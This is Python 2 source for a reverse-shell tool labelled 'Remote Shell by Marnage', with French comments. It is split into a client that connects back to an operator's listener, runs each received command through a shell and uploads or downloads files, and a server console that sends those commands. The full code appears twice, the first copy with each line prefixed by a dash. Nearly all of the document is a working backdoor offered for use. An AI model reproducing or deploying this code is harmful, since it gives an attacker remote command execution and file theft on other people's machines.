- ################## CLIENT ##################
-
- #!/usr/bin/python
- # -*- coding: iso8859-1 -*-
-
- from subprocess import Popen,PIPE
- from socket import *
- from time import sleep
- from os import chdir,path
- from string import split
-
- class RemoteShell:
- def __init__(self):
- self.op = 0
- self.buffer = 8000
-
- def CreateSocket(self):
- self.sock = socket(AF_INET,SOCK_STREAM)
- try :
- self.sock.connect(('127.0.0.1',8000))
- self.op = 1
- except :
- self.op = 0
- pass
-
- def Acceuil(self):
- self.sock.send('--- Remote Shell by Marnage ---')
-
- def RecvCommand(self):
- self.command = self.sock.recv(self.buffer)
-
- def BrokenPipe(self):
- pipe = Popen(self.command, shell=True, stdout=PIPE, stdin=PIPE, stderr=PIPE)
- output = pipe.communicate()
- CharOutput = str(output) # Obligatoire on ne peut envoyer de tuple par une socket
- self.sock.send(CharOutput)
-
- def CDExecut(self):
- path = split(self.command)
- path = path[1]
- try :
- chdir(path)
- self.sock.send('[*] cd execut')
- except :
- self.sock.send('[!] cd error')
-
- class UploadRecv:
- def __init__(self,sock):
- self.sock = sock
- self.binary = ""
- self.buffer = 1024
-
- def RecvBinary(self):
- mode = self.sock.recv(self.buffer).strip()
- if ( mode == 'sup' ) :
- while (1):
- binair = self.sock.recv(self.buffer)
- if ( binair == 'fin' ):
- break
- self.binary += binair
- self.sock.send('op')
- else :
- self.binary = self.sock.recv(self.buffer)
-
- def BrokenFile(self):
- self.sock.send("file name")
- FileName = self.sock.recv(self.buffer)
- try :
- file = open(FileName, 'w')
- file.write(self.binary)
- file.close()
- self.sock.send('yes')
- except :
- self.sock.send('no')
- pass
- self.sock.send('Upload finish')
-
- class Download:
- def __init__(self,sock):
- self.sock = sock
- self.buffer = 1000
-
- def FileInfo(self):
- self.sock.send("file name")
- FileName = self.sock.recv(self.buffer)
- if ( path.exists(FileName) ):
- self.file = open(FileName, 'rb').read()
- if ( len(self.file) > 1000 ):
- self.mode = 'sup'
- else :
- self.mode = 'inf'
- self.sock.send(self.mode)
- else :
- self.mode = 'error'
- self.sock.send(self.mode)
-
- def SendFile(self):
- if (self.mode == 'sup'):
- i = 0
- binary = ""
- compt = 0
- while ( i < len(self.file) ):
- if ( compt == 1000 ):
- compt = 0
- self.sock.send(binary)
- binary = ""
- self.sock.recv(self.buffer)
- binary += self.file[i]
- compt += 1
- i += 1
- self.sock.send('fin')
- else :
- self.sock.send(self.file)
- self.sock.recv(self.buffer)
- self.sock.send('download the end')
-
- def main():
- ClassShell = RemoteShell()
- while (1):
- ClassShell.CreateSocket()
- if ( ClassShell.op ):
- ClassShell.Acceuil()
- while (1):
- ClassShell.RecvCommand()
- if ( len(ClassShell.command) > 2 and ClassShell.command[:2] == 'cd' ):
- ClassShell.CDExecut()
- elif ( ClassShell.command == 'exit' ):
- ClassShell.sock.close()
- break
- elif ( ClassShell.command == 'upload' ):
- ClassUpload = UploadRecv(ClassShell.sock)
- ClassUpload.RecvBinary()
- ClassUpload.BrokenFile()
- elif ( ClassShell.command == 'download' ):
- ClassDownload = Download(ClassShell.sock)
- ClassDownload.FileInfo()
- if ( ClassDownload.mode != 'error' ):
- ClassDownload.SendFile()
- else :
- ClassShell.BrokenPipe()
-
- if ( __name__ == "__main__" ):
- main()
-
- ################## /CLEINT ##################
-
- ################## SERVEUR ##################
-
- #!/usr/bin/python
- # -*- coding: iso8859-1 -*-
-
- from socket import *
-
- sock = socket(AF_INET,SOCK_STREAM)
- sock.bind(("",8000))
- sock.listen(2)
- connect ,adrs = sock.accept()
-
- MessageAcceuil = connect.recv(500)
- print MessageAcceuil
-
- while ( 1 ):
- command = raw_input("-> ")
- connect.send(command)
- if ( command == 'exit' ):
- sock.close()
- break
- elif ( command == 'upload' ):
- file = raw_input('file -> ')
- try :
- readfile = open(file, 'rb').read()
- except :
- readfile = 'corrupted'
- print 'file upload <corrupted>'
-
- if ( len(readfile) > 1000 ):
- i = 0
- compt = 0
- part = ""
- connect.send('sup')
- while ( i < len(readfile) ):
- if ( compt == 1000 ):
- connect.send(part)
- connect.recv(50)
- part = ""
- compt = 0
- part += readfile[i]
- compt += 1
- i += 1
- connect.send("fin")
- else :
- connect.send("inf")
- connect.send(readfile)
- connect.recv(20)
- connect.send(file)
- test = connect.recv(10)
- if ( test == 'no' ):
- print '[!] File upload corrupted'
-
- elif ( command == 'download' ):
- name = raw_input('file -> ')
- connect.recv(50)
- connect.send(name)
- file = open(name, 'w')
- mode = connect.recv(10)
- if ( mode != 'error' ):
- if ( mode == 'sup' ):
- binaire = ""
- while ( 1 ):
- binary = connect.recv(1000)
- if ( binary.strip() == 'fin' ):
- break
- binaire += binary
- connect.send('op')
- else :
- binaire = connect.recv(1000)
- file.write(binaire)
- file.close()
- connect.send('op')
- else :
- pass
-
- reponce = connect.recv(500)
- print reponce
-
- ################## /SERVEUR ##################
################## CLIENT ##################
#!/usr/bin/python
# -*- coding: iso8859-1 -*-
from subprocess import Popen,PIPE
from socket import *
from time import sleep
from os import chdir,path
from string import split
class RemoteShell:
def __init__(self):
self.op = 0
self.buffer = 8000
def CreateSocket(self):
self.sock = socket(AF_INET,SOCK_STREAM)
try :
self.sock.connect(('127.0.0.1',8000))
self.op = 1
except :
self.op = 0
pass
def Acceuil(self):
self.sock.send('--- Remote Shell by Marnage ---')
def RecvCommand(self):
self.command = self.sock.recv(self.buffer)
def BrokenPipe(self):
pipe = Popen(self.command, shell=True, stdout=PIPE, stdin=PIPE, stderr=PIPE)
output = pipe.communicate()
CharOutput = str(output) # Obligatoire on ne peut envoyer de tuple par une socket
self.sock.send(CharOutput)
def CDExecut(self):
path = split(self.command)
path = path[1]
try :
chdir(path)
self.sock.send('[*] cd execut')
except :
self.sock.send('[!] cd error')
class UploadRecv:
def __init__(self,sock):
self.sock = sock
self.binary = ""
self.buffer = 1024
def RecvBinary(self):
mode = self.sock.recv(self.buffer).strip()
if ( mode == 'sup' ) :
while (1):
binair = self.sock.recv(self.buffer)
if ( binair == 'fin' ):
break
self.binary += binair
self.sock.send('op')
else :
self.binary = self.sock.recv(self.buffer)
def BrokenFile(self):
self.sock.send("file name")
FileName = self.sock.recv(self.buffer)
try :
file = open(FileName, 'w')
file.write(self.binary)
file.close()
self.sock.send('yes')
except :
self.sock.send('no')
pass
self.sock.send('Upload finish')
class Download:
def __init__(self,sock):
self.sock = sock
self.buffer = 1000
def FileInfo(self):
self.sock.send("file name")
FileName = self.sock.recv(self.buffer)
if ( path.exists(FileName) ):
self.file = open(FileName, 'rb').read()
if ( len(self.file) > 1000 ):
self.mode = 'sup'
else :
self.mode = 'inf'
self.sock.send(self.mode)
else :
self.mode = 'error'
self.sock.send(self.mode)
def SendFile(self):
if (self.mode == 'sup'):
i = 0
binary = ""
compt = 0
while ( i < len(self.file) ):
if ( compt == 1000 ):
compt = 0
self.sock.send(binary)
binary = ""
self.sock.recv(self.buffer)
binary += self.file[i]
compt += 1
i += 1
self.sock.send('fin')
else :
self.sock.send(self.file)
self.sock.recv(self.buffer)
self.sock.send('download the end')
def main():
ClassShell = RemoteShell()
while (1):
ClassShell.CreateSocket()
if ( ClassShell.op ):
ClassShell.Acceuil()
while (1):
ClassShell.RecvCommand()
if ( len(ClassShell.command) > 2 and ClassShell.command[:2] == 'cd' ):
ClassShell.CDExecut()
elif ( ClassShell.command == 'exit' ):
ClassShell.sock.close()
break
elif ( ClassShell.command == 'upload' ):
ClassUpload = UploadRecv(ClassShell.sock)
ClassUpload.RecvBinary()
ClassUpload.BrokenFile()
elif ( ClassShell.command == 'download' ):
ClassDownload = Download(ClassShell.sock)
ClassDownload.FileInfo()
if ( ClassDownload.mode != 'error' ):
ClassDownload.SendFile()
else :
ClassShell.BrokenPipe()
if ( __name__ == "__main__" ):
main()
################## /CLEINT ##################
################## SERVEUR ##################
#!/usr/bin/python
# -*- coding: iso8859-1 -*-
from socket import *
sock = socket(AF_INET,SOCK_STREAM)
sock.bind(("",8000))
sock.listen(2)
connect ,adrs = sock.accept()
MessageAcceuil = connect.recv(500)
print MessageAcceuil
while ( 1 ):
command = raw_input("-> ")
connect.send(command)
if ( command == 'exit' ):
sock.close()
break
elif ( command == 'upload' ):
file = raw_input('file -> ')
try :
readfile = open(file, 'rb').read()
except :
readfile = 'corrupted'
print 'file upload <corrupted>'
if ( len(readfile) > 1000 ):
i = 0
compt = 0
part = ""
connect.send('sup')
while ( i < len(readfile) ):
if ( compt == 1000 ):
connect.send(part)
connect.recv(50)
part = ""
compt = 0
part += readfile[i]
compt += 1
i += 1
connect.send("fin")
else :
connect.send("inf")
connect.send(readfile)
connect.recv(20)
connect.send(file)
test = connect.recv(10)
if ( test == 'no' ):
print '[!] File upload corrupted'
elif ( command == 'download' ):
name = raw_input('file -> ')
connect.recv(50)
connect.send(name)
file = open(name, 'w')
mode = connect.recv(10)
if ( mode != 'error' ):
if ( mode == 'sup' ):
binaire = ""
while ( 1 ):
binary = connect.recv(1000)
if ( binary.strip() == 'fin' ):
break
binaire += binary
connect.send('op')
else :
binaire = connect.recv(1000)
file.write(binaire)
file.close()
connect.send('op')
else :
pass
reponce = connect.recv(500)
print reponce
################## /SERVEUR ##################